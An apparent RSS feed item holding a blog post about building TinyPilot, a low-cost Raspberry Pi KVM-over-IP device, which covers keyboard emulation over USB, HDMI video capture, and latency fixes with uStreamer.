&lt;/ul></content:encoded></item><item><title>TinyPilot: Build a KVM Over IP for Under $100</title><link>https://mtlynch.io/tinypilot/</link><pubDate>Thu, 23 Jul 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/tinypilot/</guid><description>&lt;p>TinyPilot is my inexpensive, open-source device for controlling computers remotely. It works even before the operating system boots, so I use TinyPilot to install new OSes and debug boot failures on my &lt;a href="https://mtlynch.io/building-a-vm-homelab/">bare metal homelab servers&lt;/a>.&lt;/p>
&lt;p>This post details my experience creating TinyPilot and shows how you can build your own for under $100 using a Raspberry Pi.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/win-ubuntu.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/win-ubuntu_hu_fd924714cfda180c.jpg 300w, https://mtlynch.io/tinypilot/win-ubuntu_hu_75897119dadf9087.jpg 600w, https://mtlynch.io/tinypilot/win-ubuntu_hu_57b999a67d0ff2e4.jpg 800w, https://mtlynch.io/tinypilot/win-ubuntu_hu_976d49869eeabee2.jpg 1200w, https://mtlynch.io/tinypilot/win-ubuntu.jpg 1600w'
 src="https://mtlynch.io/tinypilot/win-ubuntu.jpg" alt="Photo of TinyPilot connecting two computers" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using TinyPilot to control my Ubuntu laptop from Chrome on my Microsoft Surface&lt;/p></description><content:encoded>&lt;p>TinyPilot is my inexpensive, open-source device for controlling computers remotely. It works even before the operating system boots, so I use TinyPilot to install new OSes and debug boot failures on my &lt;a href="https://mtlynch.io/building-a-vm-homelab/">bare metal homelab servers&lt;/a>.&lt;/p>
&lt;p>This post details my experience creating TinyPilot and shows how you can build your own for under $100 using a Raspberry Pi.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/win-ubuntu.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/win-ubuntu_hu_fd924714cfda180c.jpg 300w, https://mtlynch.io/tinypilot/win-ubuntu_hu_75897119dadf9087.jpg 600w, https://mtlynch.io/tinypilot/win-ubuntu_hu_57b999a67d0ff2e4.jpg 800w, https://mtlynch.io/tinypilot/win-ubuntu_hu_976d49869eeabee2.jpg 1200w, https://mtlynch.io/tinypilot/win-ubuntu.jpg 1600w'
 src="https://mtlynch.io/tinypilot/win-ubuntu.jpg" alt="Photo of TinyPilot connecting two computers" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using TinyPilot to control my Ubuntu laptop from Chrome on my Microsoft Surface&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="i-dont-want-your-life-story-just-tell-me-how-to-build-it">I don&amp;rsquo;t want your life story; just tell me how to build it&lt;/h2>
&lt;p>If you&amp;rsquo;re a grinch who wants to skip my fascinating tale of triumph and despair in developing TinyPilot, jump directly to the section, &lt;a href="#how-to-build-your-own-tinypilot">&amp;ldquo;How to Build Your Own TinyPilot.&amp;rdquo;&lt;/a>&lt;/p>
&lt;h2 id="demo">Demo&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/IF-AyHJ8DOI?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;h2 id="why-tinypilot">Why TinyPilot?&lt;/h2>
&lt;p>A few years ago, I built my own home server for testing software. It&amp;rsquo;s been a valuable investment, and I use it every day.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/tinypilot/homelab-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/tinypilot/homelab-server_hu_4f7a8eb246262e04.jpg 300w, https://mtlynch.io/tinypilot/homelab-server_hu_3924077a8de96d21.jpg 600w, https://mtlynch.io/tinypilot/homelab-server_hu_f073adbf76670d82.jpg 800w, https://mtlynch.io/tinypilot/homelab-server_hu_d06155167a2c31d2.jpg 1200w, https://mtlynch.io/tinypilot/homelab-server.jpg 1600w'
 src="https://mtlynch.io/tinypilot/homelab-server.jpg" alt="Photo of my homelab VM server" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The homelab server I built in 2017 to host my virtual machines&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The server has no keyboard or monitor attached because I access it over ssh or a web interface. This is a convenient setup, but it also turns small issues into a colossal pain.&lt;/p>
&lt;p>Every few months, I&amp;rsquo;ll screw something up and prevent the server from booting or joining the network, effectively locking me out of the machine. To get things running again, I have to disconnect everything, drag the server over to my desk, and juggle cables around to connect the server to the keyboard and monitor at my desktop.&lt;/p>
&lt;h2 id="commercial-solutions">Commercial solutions&lt;/h2>
&lt;p>Friends have raved to me about their experience with iDRAC. It&amp;rsquo;s a chip in Dell servers that provides a virtual console from the moment the system powers on. I briefly considered an iDRAC for my next home server, but its hefty price tag quickly put an end to that. The license alone costs $300, and it requires expensive custom hardware.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/idrac-price.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/idrac-price_hu_67120b8db1cee7a1.png 300w, https://mtlynch.io/tinypilot/idrac-price_hu_3f13ff7b0ac627eb.png 600w, https://mtlynch.io/tinypilot/idrac-price_hu_8dd8f1a9978fe55c.png 800w, https://mtlynch.io/tinypilot/idrac-price.png 1083w'
 src="https://mtlynch.io/tinypilot/idrac-price.png" alt="Screenshot of $300 price for iDRAC 9 Enterprise license" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A license for Dell&amp;rsquo;s iDRAC technology costs $300 per machine plus the cost of hardware&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Next, I looked at commercial KVM over IP solutions. They provide similar functionality to Dell&amp;rsquo;s iDRAC, but they&amp;rsquo;re external devices that connect to a computer&amp;rsquo;s keyboard, video, and mouse ports (hence the name KVM). Sadly, they&amp;rsquo;re even more expensive, ranging in price from $500 to $1000 per unit.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/tinypilot/raritan-kvm.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/tinypilot/raritan-kvm_hu_b0f62fadeafb1a42.png 300w, https://mtlynch.io/tinypilot/raritan-kvm_hu_90bca10c12fe494c.png 600w, https://mtlynch.io/tinypilot/raritan-kvm_hu_aa8c4f013436a53a.png 800w, https://mtlynch.io/tinypilot/raritan-kvm.png 1157w'
 src="https://mtlynch.io/tinypilot/raritan-kvm.png" alt="Screenshot of purchsase page for Raritan Dominion KVM over IP" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Commercial KVM over IP devices cost between $500 and $1,000.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>As lazy as I am about dragging servers around, I couldn&amp;rsquo;t justify spending $500 to save myself the trouble of swapping cables around a few times per year.&lt;/p>
&lt;p>So, I did what any appropriately irrational programmer would do: spend several hundred hours building my own KVM over IP.&lt;/p>
&lt;h2 id="building-a-kvm-over-ip-with-raspberry-pi">Building a KVM over IP with Raspberry Pi&lt;/h2>
&lt;p>The &lt;a href="https://www.raspberrypi.org/">Raspberry Pi&lt;/a> is a small, inexpensive single-board computer. The devices are powerful enough to run a full desktop operating system, so their $30-60 price point makes them a popular tool among hobbyists and programmers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/pi-in-hand.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/pi-in-hand_hu_86e7c3a22bfa23d2.jpg 300w, https://mtlynch.io/tinypilot/pi-in-hand_hu_fad816144aa3027c.jpg 600w, https://mtlynch.io/tinypilot/pi-in-hand_hu_24f72b15fb988add.jpg 800w, https://mtlynch.io/tinypilot/pi-in-hand_hu_4bad9f8f8af0151f.jpg 1200w, https://mtlynch.io/tinypilot/pi-in-hand.jpg 1600w'
 src="https://mtlynch.io/tinypilot/pi-in-hand.jpg" alt="Raspberry Pi in the palm of my hand" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Raspberry Pi is a fully-functional computer that fits on a single chip and costs only $30-60.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Recent versions of the Pi &lt;a href="https://www.raspberrypi.org/documentation/hardware/raspberrypi/usb/README.md#overview_pi4">support USB on-the-go (USB OTG)&lt;/a>, which allows the Pi to impersonate USB devices such as keyboards, thumb drives, and microphones.&lt;/p>
&lt;p>As a proof of concept of my Pi-as-KVM idea, I created a simple web app called &lt;a href="https://mtlynch.io/key-mime-pi">Key Mime Pi&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/key-mime-pi-interface.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/key-mime-pi-interface_hu_2f55c134b9dc2d71.png 300w, https://mtlynch.io/tinypilot/key-mime-pi-interface_hu_3da391a938b1a21.png 600w, https://mtlynch.io/tinypilot/key-mime-pi-interface_hu_b12459d19723b072.png 800w, https://mtlynch.io/tinypilot/key-mime-pi-interface.png 1182w'
 src="https://mtlynch.io/tinypilot/key-mime-pi-interface.png" alt="Screenshot of Key Mime Pi web interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://mtlynch.io/key-mime-pi">Key Mime Pi&lt;/a>, my early precursor to TinyPilot that only supported keyboard forwarding.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Key Mime Pi connects to another computer via USB and registers as a USB keyboard. It also presents a web page and listens for JavaScript key events. As the user types, Key Mime Pi captures the key events and translates them into keystrokes through its fake USB keyboard. This causes the keystrokes to appear on the target computer. I described this behavior in depth in &lt;a href="https://mtlynch.io/key-mime-pi#how-it-works">my previous post&lt;/a>.&lt;/p>
&lt;h2 id="the-challenge-of-capturing-video">The challenge of capturing video&lt;/h2>
&lt;p>Keyboard forwarding isn&amp;rsquo;t so useful if you can&amp;rsquo;t see what&amp;rsquo;s happening on the screen. My obvious next step was to find a way to capture my server&amp;rsquo;s display output in the Pi and render it in the browser.&lt;/p>
&lt;p>My first attempt at video capture was to use the &lt;a href="https://smile.amazon.com/AEMYO-Extender-V3-0-Ethernet-Supports/dp/B01LGUT9HW/">Lenkeng LKV373A HDMI extender&lt;/a>. Daniel Kučera (aka &lt;a href="https://blog.danman.eu/">danman&lt;/a>) did an excellent job &lt;a href="https://blog.danman.eu/new-version-of-lenkeng-hdmi-over-ip-extender-lkv373a/">reverse engineering&lt;/a> this device. It was available from Chinese merchants on eBay for around $40, so it seemed like my best option.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/lkv373a.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/lkv373a_hu_d47275a6e686de91.jpg 300w, https://mtlynch.io/tinypilot/lkv373a_hu_b7b6cef75bacfd91.jpg 600w, https://mtlynch.io/tinypilot/lkv373a_hu_736c0b21a2ba2c77.jpg 800w, https://mtlynch.io/tinypilot/lkv373a_hu_c8be89b21dd75ef6.jpg 1200w, https://mtlynch.io/tinypilot/lkv373a.jpg 1600w'
 src="https://mtlynch.io/tinypilot/lkv373a.jpg" alt="Photo of Lenkeng LKV373A HDMI extender" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://smile.amazon.com/AEMYO-Extender-V3-0-Ethernet-Supports/dp/B01LGUT9HW/">Lenkeng LKV373A HDMI extender&lt;/a> was my first attempt at HDMI video capture.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Capturing video was tricky because the LKV373A transmitter isn&amp;rsquo;t a video capture device. Its intended purpose is to pair with an LKV373A receiver that converts the network stream back to HDMI output. In danman&amp;rsquo;s investigation, he discovered a way to intercept and capture the video stream, but the LKV373A speaks a non-standard variant of the RTP protocol that few video tools understand.&lt;/p>
&lt;p>Fortunately, danman &lt;a href="https://ffmpeg.org/pipermail/ffmpeg-devel/2017-May/211607.html">contributed a patch to ffmpeg&lt;/a> that handles the LKV377A&amp;rsquo;s goofy behavior, so I was able to render the stream using ffmpeg&amp;rsquo;s video player:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ffplay -i udp://239.255.42.42:5004
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/tinypilot/ffplay-screenshot.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/tinypilot/ffplay-screenshot_hu_ff8936a47a8043c6.jpg 300w, https://mtlynch.io/tinypilot/ffplay-screenshot_hu_350b6ea8bc73d3d6.jpg 600w, https://mtlynch.io/tinypilot/ffplay-screenshot_hu_d2b76c0d482eb0ad.jpg 800w, https://mtlynch.io/tinypilot/ffplay-screenshot_hu_4ded6dbd7622327b.jpg 1200w, https://mtlynch.io/tinypilot/ffplay-screenshot.jpg 3440w'
 src="https://mtlynch.io/tinypilot/ffplay-screenshot.jpg" alt="Screenshot of ffplay rendering video stream from LKV373A" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Rendering the video stream from the LKV373A with ffplay&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It was here that I received my first taste of a problem that dogged me throughout the project: latency. There was almost a one-second delay between the target computer and the video playback on my desktop.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/lkv373a-latency.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/lkv373a-latency_hu_1bca23df5f8b256f.jpg 300w, https://mtlynch.io/tinypilot/lkv373a-latency_hu_1b86467ce7b35a3c.jpg 600w, https://mtlynch.io/tinypilot/lkv373a-latency_hu_8bfb1438e52d3a48.jpg 800w, https://mtlynch.io/tinypilot/lkv373a-latency_hu_557eeb5a3f06fe77.jpg 1200w, https://mtlynch.io/tinypilot/lkv373a-latency.jpg 1600w'
 src="https://mtlynch.io/tinypilot/lkv373a-latency.jpg" alt="Photo of Lenkeng LKV373A HDMI extender" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The LKV373A introduced 838 milliseconds of latency before any re-encoding.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I tried playing around with ffplay&amp;rsquo;s many command-line flags to speed up the stream, but I never pushed past 800 milliseconds. And that was on my desktop with its high-end GPU and CPU. It didn&amp;rsquo;t bode well performance-wise for my scrappy little Raspberry Pi.&lt;/p>
&lt;p>Fortunately, I found a better solution by complete coincidence.&lt;/p>
&lt;h3 id="hdmi-to-usb-dongle">HDMI to USB dongle&lt;/h3>
&lt;p>While mindlessly scrolling through Twitter, I happened to see &lt;a href="https://twitter.com/Ascii211/status/1268631069051453448">a tweet by Arsenio Dev&lt;/a> about a low-cost HDMI to USB dongle he had just purchased:&lt;/p>




















 
 
 

 
 
 






&lt;figure class="img" style="max-width: 616px">



 &lt;a href="https://twitter.com/Ascii211/status/1268631069051453448">
 &lt;img
 
 sizes="(min-width: 768px) 616px, 98vw"
 srcset='https://mtlynch.io/tinypilot/arsenio-dev-tweet_hu_5977d2d705b53597.jpg 300w, https://mtlynch.io/tinypilot/arsenio-dev-tweet_hu_9f43651e368e2703.jpg 600w, https://mtlynch.io/tinypilot/arsenio-dev-tweet.jpg 616w'
 src="https://mtlynch.io/tinypilot/arsenio-dev-tweet.jpg" alt="Screenshot of Rufus" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A &lt;a href="https://twitter.com/Ascii211/status/1268631069051453448">tweet from Arsenio Dev&lt;/a> tipped me off to a better video capture solution.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Capturing video at 1080p resolution and 30 frames per second seemed a little too good to be true, so I ordered one from eBay. It was only $11, including shipping. I don&amp;rsquo;t even know what you call it — it has no brand name, so I&amp;rsquo;ll just call it &amp;ldquo;the HDMI dongle.&amp;rdquo; There are several variants, but they&amp;rsquo;re all just different housing over the same &lt;a href="https://twitter.com/Ascii211/status/1268641527531741186">MacroSilicon MS2109 chip&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/tinypilot/hdmi-ebay.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/tinypilot/hdmi-ebay_hu_1ca40600c78128d4.png 300w, https://mtlynch.io/tinypilot/hdmi-ebay_hu_a8f103d0c299c07f.png 600w, https://mtlynch.io/tinypilot/hdmi-ebay_hu_9d480648b4f85f16.png 800w, https://mtlynch.io/tinypilot/hdmi-ebay_hu_1326159a904d548.png 1200w, https://mtlynch.io/tinypilot/hdmi-ebay.png 1497w'
 src="https://mtlynch.io/tinypilot/hdmi-ebay.png" alt="Screenshot of HDMI for sale on eBay for $11.20" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>HDMI to USB dongle available on eBay for $11.20 with free shipping&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When the device arrived a few days later, it blew me away. Without any tinkering, it showed up as a UVC video capture device as soon as I plugged it in to the Raspberry Pi.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo v4l2-ctl --list-devices
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bcm2835-codec-decode (platform:bcm2835-codec):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /dev/video10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /dev/video11
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /dev/video12
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span>UVC Camera (534d:2109): USB Vid (usb-0000:01:00.0-1.4): &amp;lt;&amp;lt;&amp;lt; HDMI capture dongle
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span> /dev/video0
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span> /dev/video1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Within minutes, I was able to capture and restream HDMI video:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># On the Pi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffmpeg &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -re &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -f v4l2 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -i /dev/video0 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -vcodec libx264 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -f mpegts udp://10.0.0.100:1234/stream
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># On my Windows desktop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ffplay.exe -i udp://@10.0.0.100:1234/stream
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It was so darn convenient, too. The LKV373A was nearly brick-sized and required its own power source and Ethernet cable. The HDMI dongle was as small as a thumb drive and required nothing more than a USB port.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/lkv373a-vs-dongle.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/lkv373a-vs-dongle_hu_765a83ccbc3be70d.jpg 300w, https://mtlynch.io/tinypilot/lkv373a-vs-dongle_hu_cf74d392ce8a40dc.jpg 600w, https://mtlynch.io/tinypilot/lkv373a-vs-dongle_hu_62be3750445078ce.jpg 800w, https://mtlynch.io/tinypilot/lkv373a-vs-dongle_hu_3002cc8ef54312a6.jpg 1200w, https://mtlynch.io/tinypilot/lkv373a-vs-dongle.jpg 1600w'
 src="https://mtlynch.io/tinypilot/lkv373a-vs-dongle.jpg" alt="Comparison of Lenkeng LKV373A with HDMI dongle" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://smile.amazon.com/AEMYO-Extender-V3-0-Ethernet-Supports/dp/B01LGUT9HW/">Lenkeng LKV373A HDMI extender&lt;/a> (left) was larger and required more connections than the HDMI dongle (right).&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The only problem was, again, latency. The Pi&amp;rsquo;s rebroadcast of the video stream lagged the source computer by 7-10 seconds.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/dongle-ffmpeg.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/dongle-ffmpeg_hu_6c871800c1687c57.jpg 300w, https://mtlynch.io/tinypilot/dongle-ffmpeg_hu_9c698e1a86438507.jpg 600w, https://mtlynch.io/tinypilot/dongle-ffmpeg_hu_829f0079b2c36fde.jpg 800w, https://mtlynch.io/tinypilot/dongle-ffmpeg_hu_170e39c0e0a055ec.jpg 1200w, https://mtlynch.io/tinypilot/dongle-ffmpeg.jpg 1600w'
 src="https://mtlynch.io/tinypilot/dongle-ffmpeg.jpg" alt="Comparison of Lenkeng LKV373A with HDMI dongle" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using ffmpeg to stream video from my Pi, there was a delay in the video of up to 10 seconds.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I wasn&amp;rsquo;t sure if this delay came from dongle itself, ffmpeg on the Pi, or ffplay on my desktop. Arsenio Dev reported latency of 20 ms, so it seemed like faster performance was possible if I delved into &lt;a href="https://ffmpeg.org/ffmpeg.html">ffmpeg&amp;rsquo;s arcane and mysterious command-line flags&lt;/a>.&lt;/p>
&lt;p>Another stroke of luck spared me from that miserable task.&lt;/p>
&lt;h3 id="borrowing-from-a-similar-project">Borrowing from a similar project&lt;/h3>
&lt;p>When I published &lt;a href="https://mtlynch.io/key-mime-pi/">my previous blog post&lt;/a> about Key Mime Pi, I received a comment from Max Devaev, who encouraged me to check out his project, &lt;a href="https://github.com/pikvm/pikvm">Pi-KVM&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 866px">



 &lt;a href="https://mtlynch.io/tinypilot/maxim-comment.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 866px, 98vw"
 srcset='https://mtlynch.io/tinypilot/maxim-comment_hu_24c552c4017eb518.png 300w, https://mtlynch.io/tinypilot/maxim-comment_hu_762686d17b5a9706.png 600w, https://mtlynch.io/tinypilot/maxim-comment_hu_4d7494524179931.png 800w, https://mtlynch.io/tinypilot/maxim-comment.png 864w'
 src="https://mtlynch.io/tinypilot/maxim-comment.png" alt="Max&amp;#39;s comment: Hi:) Take a look at this project: https://github.com/pikvm/pikvm We have already done and debugged many things" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Max Devaev pointed me to his existing &lt;a href="https://github.com/pikvm/pikvm">Pi-KVM&lt;/a> project.&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img align-right" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/melty-breadboard.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/melty-breadboard_hu_d0e873f4a9055f51.jpg 300w, https://mtlynch.io/tinypilot/melty-breadboard_hu_ee305c0988c1eda8.jpg 600w, https://mtlynch.io/tinypilot/melty-breadboard_hu_2339276b456d3b7a.jpg 800w, https://mtlynch.io/tinypilot/melty-breadboard_hu_bd4b3a0931878825.jpg 1200w, https://mtlynch.io/tinypilot/melty-breadboard.jpg 2048w'
 src="https://mtlynch.io/tinypilot/melty-breadboard.jpg" alt="GPIO pins" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My previous experience with breadboards involved &lt;a href="https://mtlynch.io/greenpithumb/#why-make-another-raspberry-pi-gardening-bot">accidentally melting them&lt;/a>.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I had looked at Pi-KVM briefly, but its &lt;a href="https://github.com/pikvm/pikvm#v2-diagram">requirements of breadboards and soldering&lt;/a> scared me off.&lt;/p>
&lt;p>At Max&amp;rsquo;s suggestion, I gave Pi-KVM a second look, particularly interested in how he solved the video latency issue. I noticed that he captured video through a tool called &lt;a href="https://github.com/pikvm/ustreamer">uStreamer&lt;/a>.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: From further discussions with Max, I&amp;rsquo;ve learned that Pi-KVM does support builds without soldering or breadboards.
&lt;/div>

&lt;h3 id="ustreamer-a-super-fast-video-streamer">uStreamer: a super-fast video streamer&lt;/h3>
&lt;p>Have you ever found a tool that&amp;rsquo;s so good, it solves problems you hadn&amp;rsquo;t even anticipated?&lt;/p>
&lt;p>Right out of the box, uStreamer reduced my latency from 8 seconds to 500-600 milliseconds. But it also eliminated a whole chain of extra work.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/ustreamer-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/ustreamer-1_hu_e1e3ab217cfaaaeb.jpg 300w, https://mtlynch.io/tinypilot/ustreamer-1_hu_68e39c0888263b9a.jpg 600w, https://mtlynch.io/tinypilot/ustreamer-1_hu_a9fbdfa1e652759b.jpg 800w, https://mtlynch.io/tinypilot/ustreamer-1_hu_d47ed05fbd5d26e4.jpg 1200w, https://mtlynch.io/tinypilot/ustreamer-1.jpg 1600w'
 src="https://mtlynch.io/tinypilot/ustreamer-1.jpg" alt="500 ms latency with uStreamer and the HDMI dongle" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>uStreamer reduced my latency by a factor of 15.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Prior to uStreamer, I wasn&amp;rsquo;t sure how to get video from ffmpeg into the user&amp;rsquo;s browser, but I knew it was possible somehow. I tested this &lt;a href="https://docs.peer5.com/guides/setting-up-hls-live-streaming-server-using-nginx/">mostly-accurate tutorial&lt;/a> for piping video from ffmpeg to nginx using HLS, but it added even more latency. And it still left open problems like how to start and stop streaming on HDMI cable connects and disconnects and how to translate the video to a browser-friendly format.&lt;/p>
&lt;p>uStreamer solved all of this. It ran its own minimal HTTP server that served video in &lt;a href="https://en.wikipedia.org/wiki/Motion_JPEG">Motion JPEG&lt;/a>, a format browsers play natively. I didn&amp;rsquo;t have to bother with HLS streams or getting ffmpeg and nginx to talk to each other.&lt;/p>
&lt;p>The tool was so fully-featured that I assumed Max simply forked it from a more mature project, but I was mistaken. This maniac &lt;a href="https://github.com/pikvm/ustreamer">wrote his own video encoder&lt;/a> in C just to squeeze the maximum performance out of Pi hardware. I quickly &lt;a href="https://www.paypal.me/mdevaev">donated to Max&lt;/a> and invite anyone who uses his software to do the same.&lt;/p>
